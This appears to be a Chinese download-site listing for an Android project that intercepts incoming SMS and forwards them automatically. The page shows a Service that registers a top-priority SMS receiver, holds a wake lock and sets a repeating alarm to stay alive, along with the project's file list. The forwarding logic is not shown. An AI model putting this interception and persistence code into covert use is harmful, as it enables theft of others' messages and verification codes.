• 大小: 1.31M
    文件类型: .zip
    金币: 1
    下载: 0 次
    发布日期: 2020-12-24
  • 标签: 短信拦截  自动转发  

资源简介

可实现拦截短信,自动转发的功能。


部分代码:


import android.app.AlarmManager;
import android.app.PendingIntent;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.IBinder;
import android.os.PowerManager;
import android.os.PowerManager.WakeLock;

public class MyService extends Service{
	SMSReceiver rs=null;
	static MyService  service;
	private static PendingIntent pi = null;
	public static AlarmManager am = null;
	@Override
	public IBinder onBind(Intent intent) {
		// TODO Auto-generated method stub
		return null;
	}
	@Override
	public void onCreate() {
		// TODO Auto-generated method stub
		super.onCreate();
		service=this;
		pm = (PowerManager) getSystemService(Context.POWER_SERVICE);
		registerAlarm();
		acquireWakeLock(this);
		registerRecever();
	}
	@Override
	public void onDestroy() {
		// TODO Auto-generated method stub
		super.onDestroy();
		releaseWakeLock();
		unregisterAlarm();
	}
	private void registerRecever(){
		rs=new SMSReceiver();
		IntentFilter filter=new IntentFilter();
		filter.addAction("android.provider.Telephony.SMS_RECEIVED");
		filter.setPriority(1000);
		registerReceiver(rs, filter);
	}
	@Override
	public int onStartCommand(Intent intent, int flags, int startId) {
		// TODO Auto-generated method stub
		if(rs==null)registerRecever();
		return START_STICKY;
	}
	public static WakeLock wakeLock = null;
	private static PowerManager pm = null;
	public static synchronized void acquireWakeLock(Context c) {
		if (null == wakeLock) {
			wakeLock = pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK, "smslock");
			wakeLock.acquire();
		}
	}

	public static synchronized void releaseWakeLock() {
		if (wakeLock == null)
			return;
		if (wakeLock.isHeld()) {
			wakeLock.release();
			wakeLock = null;
		}
	}
	/**
	 * 启动重复型定时器
	 */
	public static void registerAlarm() {
		if(Config.getAlarm())return;
		Intent intent = new Intent(service, AlarmReceiver.class);
		pi = PendingIntent.getBroadcast(service, 0, intent,
				PendingIntent.FLAG_CANCEL_CURRENT);
		// 设置一个PendingIntent对象,发送广播
		am = (AlarmManager) service.getSystemService(Context.ALARM_SERVICE);
		// 获取AlarmManager对象,
		Config.setAlarm(true);
		am.setRepeating(AlarmManager.RTC_WAKEUP, System.currentTimeMillis(),
				30*60*1000, pi);
	}

	/**
	 * 取消定时器
	 */
	public static void unregisterAlarm() {
		am.cancel(pi);
		am = null;
		Config.setAlarm(false);
	}
}

资源截图

代码片段和文件信息

/** Automatically generated file. DO NOT MODIFY */
package com.example.sms_zf;

public final class BuildConfig {
    public final static boolean DEBUG = true;
}

 属性            大小     日期    时间   名称
----------- ---------  ---------- -----  ----
     目录           0  2014-01-28 10:27  SMS-ZF\
     文件         475  2014-01-27 22:30  SMS-ZF\.classpath
     文件         842  2014-01-27 22:30  SMS-ZF\.project
     目录           0  2014-01-28 10:27  SMS-ZF\.settings\
     文件         177  2014-01-27 22:30  SMS-ZF\.settings\org.eclipse.jdt.core.prefs
     文件        2164  2014-01-28 09:40  SMS-ZF\AndroidManifest.xml
     目录           0  2014-01-28 10:27  SMS-ZF\assets\
     目录           0  2014-01-28 10:27  SMS-ZF\bin\
     文件        2164  2014-01-28 09:40  SMS-ZF\bin\AndroidManifest.xml
     文件      261269  2014-01-28 09:50  SMS-ZF\bin\SMS-ZF.apk
     目录           0  2014-01-28 10:27  SMS-ZF\bin\classes\
     目录           0  2014-01-28 10:27  SMS-ZF\bin\classes\com\
     目录           0  2014-01-28 10:27  SMS-ZF\bin\classes\com\example\
     目录           0  2014-01-28 10:27  SMS-ZF\bin\classes\com\example\sms_zf\
     文件        2260  2014-01-28 09:43  SMS-ZF\bin\classes\com\example\sms_zf\AlarmReceiver.class
     文件         859  2014-01-28 09:40  SMS-ZF\bin\classes\com\example\sms_zf\BootReceiver.class
     文件         345  2014-01-28 09:40  SMS-ZF\bin\classes\com\example\sms_zf\BuildConfig.class
     文件        1132  2014-01-28 09:40  SMS-ZF\bin\classes\com\example\sms_zf\Config.class
     文件        2241  2014-01-28 09:40  SMS-ZF\bin\classes\com\example\sms_zf\CrashHandler$1.class
     文件        4033  2014-01-28 09:40  SMS-ZF\bin\classes\com\example\sms_zf\CrashHandler.class
     文件        2075  2014-01-28 09:40  SMS-ZF\bin\classes\com\example\sms_zf\FileUtils$1.class
     文件        2061  2014-01-28 09:40  SMS-ZF\bin\classes\com\example\sms_zf\FileUtils.class
     文件         670  2014-01-28 09:40  SMS-ZF\bin\classes\com\example\sms_zf\MainActivity$1.class
     文件        1083  2014-01-28 09:40  SMS-ZF\bin\classes\com\example\sms_zf\MainActivity.class
     文件         647  2014-01-28 09:47  SMS-ZF\bin\classes\com\example\sms_zf\MyApp.class
     文件        3365  2014-01-28 09:50  SMS-ZF\bin\classes\com\example\sms_zf\MyService.class
     文件         340  2014-01-28 09:43  SMS-ZF\bin\classes\com\example\sms_zf\R$attr.class
     文件         461  2014-01-28 09:43  SMS-ZF\bin\classes\com\example\sms_zf\R$dimen.class
     文件         407  2014-01-28 09:43  SMS-ZF\bin\classes\com\example\sms_zf\R$drawable.class
     文件         393  2014-01-28 09:43  SMS-ZF\bin\classes\com\example\sms_zf\R$id.class
     文件         403  2014-01-28 09:43  SMS-ZF\bin\classes\com\example\sms_zf\R$layout.class
............此处省略68个文件信息

评论

共有 条评论